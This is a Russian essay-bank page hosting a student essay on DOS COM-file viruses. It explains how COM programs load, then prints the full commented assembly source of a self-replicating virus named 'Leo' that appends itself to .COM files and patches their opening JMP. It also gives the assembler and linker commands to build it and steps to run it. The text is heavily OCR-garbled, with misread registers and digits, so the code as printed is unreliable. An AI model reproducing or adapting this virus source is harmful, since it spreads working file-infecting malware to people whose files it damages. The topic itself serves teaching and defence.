Реферат: СОМ-вирусы - текст реферата. Скачать бесплатно.
Банк рефератов, курсовых и дипломных работ. Много и бесплатно. # | Правила оформления работ | Добавить в избранное
 
 
   
Меню Меню Меню Меню Меню
   
Napishem.com Napishem.com Napishem.com

Реферат

СОМ-вирусы

Банк рефератов / Программирование

Рубрики  Рубрики реферат банка

закрыть
Категория: Реферат
Язык реферата: Русский
Дата добавления:   
 
Скачать
Архив Zip, 539 kb, скачать бесплатно
Заказать
Узнать стоимость написания уникального реферата

Узнайте стоимость написания уникальной работы

СОМ-ВИРУСЫ В этой главе рассказано об ал- горитмах работы вирусов, заражающих СОМ-файлы, и способах их внедрения . Пред- ставлен исходный текст од- ного из таких вирусов с под- робными комментариями. Также приведены основные све- дения о структуре и принци- пах работы СОМ-программы. 10 СОМ-вирусы Компьютерные вирусы могу т "гнездиться " в самых неожиданных мес- тах , например , в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа СОМ и ЕХЕ , в файлах динамических биб- лиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение виру- са , поражающего СОМ-файлы . Структура и процесс загрузки СОМ-программы Что же представляет собой СОМ-программа , как она загружается в память и запускается ? Структура СОМ-программы предельно проста - он а содержит только код и данные программы , не имея даже заголовка . Размер СОМ-про- граммы ограничен размером одного сегмента (64Кбайт ). И еще два понятия , которые часто будут встречаться : Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh) байт , предшествующая программе при ее загрузке . PSP содержит дан- ные командной строки и относящиеся к программе переменные . Disk Transfer Address (DTA) - блок данных , содержащий адреса обмена данными с файлом (чтение или запись ). Область DTA для работы с файлом используют многие функции , в том числе и не производящие чтение или запись в файл . Примером может служить функция 4Eh (найти первый файл по шаблону ), которая будет неоднократно встре- чаться в листингах программ . Загрузка СОМ-программы в память и ее запуск происходят так : 1. Определяется сегментный адрес свободного участка памяти доста- точного для размещения программы размера . 2. Создается и заполняется блок памяти для переменных среды . 3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; сегментЮЮОЬ - программа ). В поля PSP заносятся соответствую- щие значения . 4. Устанавливается адрес DTA равным PSP:0080h. 5. Загружается СОМ-файл с адреса PSP:0100h. 6. Значени е регистра АХ устанавливается в соответствии с парамет- рами командной строки . 7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм- мы (PSP.-OOOOh). 8. Регистр SP устанавливается на конец сегмента , после чего в стек за- писывается OOOOh. 9. Происходит запуск программы с адреса PSP:0100h. СОМ-программа всегда состоит из одного сегмента и запускается со смещения OlOOh. Простейший СОМ-вирус В начале СОМ-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт . Первый байт содержит код команды OE9h, следующие два - адрес перехода . Поскольку рассматриваемый ниже ви- рус учебный , он будет заражать только СОМ-файлы , начинающиеся с команды JMP. Благодаря простому строению СОМ-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис . 1.1. показано заражение файла таким способом . После загрузки зараженного файла управление получает вирус . Закон- чив работу , вирус восстанавливает оригинальный JMP и передает уп- равление программе , как пока зано на рис . 1.2. Что же делает рассматриваемый вирус ? После старта он ищет в теку- щем каталоге СОМ-программы . Для этого используется функция 4Eh (найти первый файл ): Тело вируса записывается в конец файла, туда же переносится оригинальный JMP, на место которого записывается инструкция JMP на тело вируса. Рис . 1.1. ;Ищем первый файл по шаблону имени mov ah,4Eh mov dx,offset fname - offset myself add dx.bp mov cx,00100111b int 21h Затем вирус проверяет (по первому байту файла ), подходят ли ему най- денные СОМ-программы : [Открываем файл Open: mov ax,3D02h mov dx,9Eh int 21h ;Если при открытии файла ошибок не произошло, ;переходим к чтению , иначе выходим из вируса jnc See_Him jmp exit ; Читаем первый байт файла See_Him: xchg bx,ax mov ah,3Fh mov dx,offset buf-offset myself add dx.bp xor ex,ex ;CX=0 inc ex [(увеличение на 1) СХ =1 int 21h Сравниваем . Если первый байт файла ;не E9h, то переходим к поиску следующего .файла - этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself )],OE9h jne find_next Перед заражением файла вирус проверяет сигнатуру - не исключено, чт о файл уже заражен : Переходим в конец файла (на последний байт ) mov ax,4200h xor ex,ex mov dx,[bp+(offset flen-offset MySelf)] dec dx int 21h ;Читаем сигнатуру вируса Read: mov ah,3Fh xor ex,ex inc ex mov dx.offset bytik-offset myself add dx.bp in t 21h .Если при чтении файла ошибок не произошло , [Проверяем сигнатуру , ;иначе ищем следующий файл jnc test_bytik jmp find_next [ Проверяем сигнатуру Test_bytik: cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte ;Если сигнатура есть , то ищем другой файл, .если ее нет - будем заражать je find_next2 jmp NotJnfected Затем , в соответствии с предложенной схемой , вирус дописывается в конец файла-жертвы и устанавливает адрес пер ехода на самого себя : [Переходим в конец файла mov ax,4202h xor ex,ex xor dx.dx int 21h Останавливаем регистр DS на сегмент кода push cs pop ds [Копируем вирус в файл mov ah,40h mov cx.offset VirEnd-offset la mov dx,bp sub dx,offset myself-offset la i nt 21h [Записываем в начало файла переход на тело вируса Write_Jmp: .Переходим в начало файла xor сх.сх xor dx,dx mov ax,4200h int 21h [Записываем первые три байта файла (переход на тело вируса ) mov ah,40h mov сх ,3 mov dx, offset jmpvir-offset myself a dd dx.bp int 21h После того , как вирус закончит свою работу , он восстанавливает в исходное состояние первые три байта программы (в памяти компью- тера ) и передает управление на начало программы . Далее , при запуске зараженного файла , управление сначала пол учает вирус , затем - исходная программа . Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать , будучи один раз выпущенным на волю . Как запустить вирус ? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса , затем этот файл компи- лируется и компонуется готовая программа . Например , в системе про- граммирования Turbo Assembler последние два этапа выполняются та- кими командами : tasm .exe leo.asm tlink leo.obj/t В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус. Для проверки работы вируса можно создать отдельный каталог и ско- пировать в него этот файл , а также несколько других СОМ-файлов. После запуска LEO.COM вирус внедри тся во все остальные СОМ-фай- лы . Не стоит бояться , что будет заражен сразу весь компьютер - вирус распространяется только в текущем каталоге . Ниже приводится исход- ный текст вируса : .286 .Устанавливаем тип процессора CheckByte equ OFOh [Указываем , что регистры CS и DS содержат ;адрес сегмента кода программы assume cs:code, ds:code ;Начало сегмента кода . В конце программы сегмент кода нужно ;закрыть - "code ends" code segment Останавливаем смещения в сегменте кода . Данная строчка обязательна ;для СОМ -программы (все СОМ-программы начинаются с адреса 100h) org 100h start: ;Имитируем зараженный СОМ-файл. ;Тело вируса начинается с метки la ; jmp la db OE9h ; Код команды JMP dw offse t la-offset real real: [Выходим из программы mov ah,4Ch int 21 h ;3десь начинается тело вируса la: ;Сохраняем регистры и флаги pushf pusha push ds es .Получаем точку входа . ;Для этого вызываем подпрограмму (следующий ;за вызовом адрес ) и читаем из ст ека адрес возврата call MySelf MySelf: pop bp восстанавливаем первые три байта исходной программы mov al,[bp+(offset bytes_3[0]-offset MySelf)] mov byte ptr cs:[100h],al mov al,[bp+(offset bytes_3[1]-offset MySelf)] mov byte ptr cs:[101h],al mov al,[bp+ (offset bytes_3[2]-offset MySelf)] mov byte ptr cs:[102h],al [Дальнейшая задача вируса - найти новую жертву . ;Для этого используется функция 4Eh (Найти первый файл ). ;Ищем файл с любыми атрибутами Find_First: .Ищем первый файл по шаблону имени mov ah, 4Eh mov dx.offset fname-offset myself add dx.bp mov cx,00100111b int 21 h ;Если файл найден - переходим к смене атрибутов , иначе выходим ;из вируса (здесь нет подходящих для заражения ф айлов ) jnc attributes jmp exit attributes: .Читаем оригинальные атрибуты файла mov ax,4300h mov dx,9Eh .Адрес имени файла int 21 h .Сохраняем оригинальные атрибуты файла push ex • .Устанавливаем новые атрибуты файла mov ax,4301h mov dx,9Eh .Адрес име ни файла mov cx,20h int 21 h Переходим к открытию файла jmp Open ;Ищем следующий файл , так как предыдущий не подходит FincLNext: ;Восстанавливаем оригинальные атрибуты файла mov ax,4301h mov dx,9Eh ;Адрес имени файла pop сх int 21 h [Закрываем файл mo v ah,3Eh int 21 h ;Ищем следующий файл mov ah,4Fh int 21 h ;Если файл найден - переходим к смене атрибутов , иначе выходим ;из вируса (здесь нет подходящих для заражения файлов ) jnc att ributes jmp exit .- Открываем файл Open: mov ax,3D02h mov dx,9Eh int 21 h ;Если при открытии файла ошибок не произошло - .переходим к чтению , иначе выходим из вируса jnc See_Him jmp exit ; Читаем первый байт файла See_Him: xchg bx.ax mov ah,3Fh m ov dx.offset buf-offset myself add dx,bp xor ex,ex ;CX=0 inc ex [(увеличение на 1) СХ =1 int 21 h .Сравниваем . Если первый байт файла ;не E9h, то переходим к поиску следующего файла - ;этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself )],OE9h jne find_next ; Переходим в начало файла mov ax,4200h xor ex,ex xor dx.dx int 21 h [Читаем первые три байта файла в тело вируса See_Him2: mov ah,3Fh mov dx,offset bytes_3-offset myself add dx.bp mov cx,3 int 21 h .Получаем длину файла , для чего переходим в конец файла Testik: mov ax,4202h xor ex,ex xor dx.dx int 21h Size_test: ; Сохраняем полученную длину файла mov [bp+(offse t flen-offset MySelf)],ax [Проверяем длину файла cmp ax.64000 ;Если файл не больше 64000 байт ,- переходим ;к следующей проверке , ;иначе ищем другой файл (этот слишком велик для заражения ) jna richJest jmp find_next Проверим , не заражен ли файл. ;Для этого проверим сигнатуру вируса RichJest: [Переходим в конец файла (на последний байт ) mov ax,4200h xor сх.сх mov dx,[bp+(offset flen-offset MySelf)] dec dx int 21h ;Читаем сигнатуру вируса Read: mov ah,3Fh xor ex,ex inc ex mov dx,offset bytik-offs et myself add dx.bp int 21 h ;Если при чтении файла ошибок ;не произошло - проверяем сигнатуру , .иначе ищем следующий файл jnc test_bytik jmp tind_next ; Проверяем сигнатуру Test_by tik: cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte ;Если сигнатура есть , то ищем другой файл, .если нет - будем заражать jne NotJnfected jmp find_next .Файл не заражен - будем заражать NotJnfected: mov ax,[bp+(offset flen-offset myself)] sub ax,03h mov [bp+(offset jmp_cmd-offset myself)],ax l_am_copy: . Переходим в конец файла mov ax,4202h xor ex,ex xor dx.dx int 21 h [Устанавливаем регистр DS на сегмент кода push cs pop ds .Копируем вирус в файл mov ah,40h mov ex,offset VirEnd-offset la mov dx.bp sub dx,offset myself-offset la int 21 h Записываем в начало файла переход на тело вируса Write_Jmp: .Переходим в начало файла хог сх.сх xor dx, dx mov ax,4200h int 21 h [Записываем первые три байта файла (переход на тело вируса ) mov ah,40h mov сх ,3 mov dx.offset jmpvir-offset myself add dx.bp int 21h ;3 акрываем файл Close: mov ah,3Eh int 21h ;Восстанавливаем оригинальные атрибуты файла mov ax,4301h mov dx,9Eh pop ex int 21h exit: восстанавливаем первоначальные значения регистров и флагов pop es ds рора popf Передаем управление программе-носителю push 100h retn -.Байт для чтения сигнатуры bytik db (?) .Зарезервировано для изменения трех байт вируса jmpvir db OE9h jmp_cmd dw (?) ;Длина файла flen dw (?) ;Шаблон для поиска файлов fname db "*.com",0 ;0бласть для хранения команды перехода bytes_3 db 90h, 90h, 90h ;Байт памяти для чтения первого байта файла ;с целью проверки (Е 9п ) buf db (?) ;Название вируса virus_name db "Leo" ; Сигнатура a db CheckByte VirEnd: code ends end start Способы внедрения СОМ-вирусов Рассмотренный вирус дописывался в конец файла , а в нач ало файла вписывал переход на себя . Существуют и другие способы внедрения вирусов . Рассмотрим два варианта внедрения СОМ-вируса в начало файла. Вариант первый . Вирус переписывает начало программы в конец файла, чтобы освободить место для себя . После этого тело вируса записывает- ся в начало файла , а небольшая его часть , обеспечивающая перенос вы- тесненного фрагмента программы , на прежнее место - в конец . При вос- становлении первоначального вида программы тело вируса будет затерто , поэтому код вируса , во с станавливающий программу , должен находиться в безопасном месте , отдельно от основного тела вируса. Этот способ внедрения изображен на рис . 1.3. Рис . 1.3. При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса OlOOh). После окончани я работы вирус передает управление коду , пере- носящему вытесненную часть программы на прежнее место . После вос- становления (в памяти , не в файле ) первоначального вида программы, она запускается . Схема работы вируса изображена на рис . 1.4. Второй вариант отличается от первого тем , что вирус , освобождая для себя место , сдвигает все тело программы , а не переносит ее часть в ко- нец файла . Этот способ внедрения изображен на рис . 1.5. После запуска зараженной программы , как и в предыдущем случае, управление получает вирус . Дальнейшая работа вируса отличается только тем , что часть вируса , восстанавливающая первоначальный вид программы , переносит к адресу OlOOh все тело программы , а не только вытесненную часть . Схема работы вируса , заражающего файл таким образом , приведена на рис . 1.6. Существуют разновидности вир усов , не дописывающие часть своего тела в конец файла . К примеру , вирус может внедряться в середину файла . В этом случае алгоритм работы вируса является смесью алгорит- мов одного из двух только что описанных вирусов и вируса , описанно- го в разделе "Прос т ейший СОМ-вирус ".
1Архитектура и строительство
2Астрономия, авиация, космонавтика
 
3Безопасность жизнедеятельности
4Биология
 
5Военная кафедра, гражданская оборона
 
6География, экономическая география
7Геология и геодезия
8Государственное регулирование и налоги
 
9Естествознание
 
10Журналистика
 
11Законодательство и право
12Адвокатура
13Административное право
14Арбитражное процессуальное право
15Банковское право
16Государство и право
17Гражданское право и процесс
18Жилищное право
19Законодательство зарубежных стран
20Земельное право
21Конституционное право
22Конституционное право зарубежных стран
23Международное право
24Муниципальное право
25Налоговое право
26Римское право
27Семейное право
28Таможенное право
29Трудовое право
30Уголовное право и процесс
31Финансовое право
32Хозяйственное право
33Экологическое право
34Юриспруденция
 
35Иностранные языки
36Информатика, информационные технологии
37Базы данных
38Компьютерные сети
39Программирование
40Искусство и культура
41Краеведение
42Культурология
43Музыка
44История
45Биографии
46Историческая личность
47Литература
 
48Маркетинг и реклама
49Математика
50Медицина и здоровье
51Менеджмент
52Антикризисное управление
53Делопроизводство и документооборот
54Логистика
 
55Педагогика
56Политология
57Правоохранительные органы
58Криминалистика и криминология
59Прочее
60Психология
61Юридическая психология
 
62Радиоэлектроника
63Религия
 
64Сельское хозяйство и землепользование
65Социология
66Страхование
 
67Технологии
68Материаловедение
69Машиностроение
70Металлургия
71Транспорт
72Туризм
 
73Физика
74Физкультура и спорт
75Философия
 
76Химия
 
77Экология, охрана природы
78Экономика и финансы
79Анализ хозяйственной деятельности
80Банковское дело и кредитование
81Биржевое дело
82Бухгалтерский учет и аудит
83История экономических учений
84Международные отношения
85Предпринимательство, бизнес, микроэкономика
86Финансы
87Ценные бумаги и фондовый рынок
88Экономика предприятия
89Экономико-математическое моделирование
90Экономическая теория

 Анекдоты - это почти как рефераты, только короткие и смешные Следующий
Раньше мне мама перед выходом на улицу говорила "не разговаривай с незнакомыми людьми, не бери незнакомые предметы", теперь я говорю маме перед выходом в интернет "не отправляй смс на незнакомые номера, не скачивай незнакомые файлы". Теперь мне знакомы материнские чувства и волнение.
Anekdot.ru

Узнайте стоимость курсовой, диплома, реферата на заказ.

Обратите внимание, реферат по программированию "СОМ-вирусы", также как и все другие рефераты, курсовые, дипломные и другие работы вы можете скачать бесплатно.

Смотрите также:


Банк рефератов - РефератБанк.ру
© РефератБанк, 2002 - 2016
Рейтинг@Mail.ru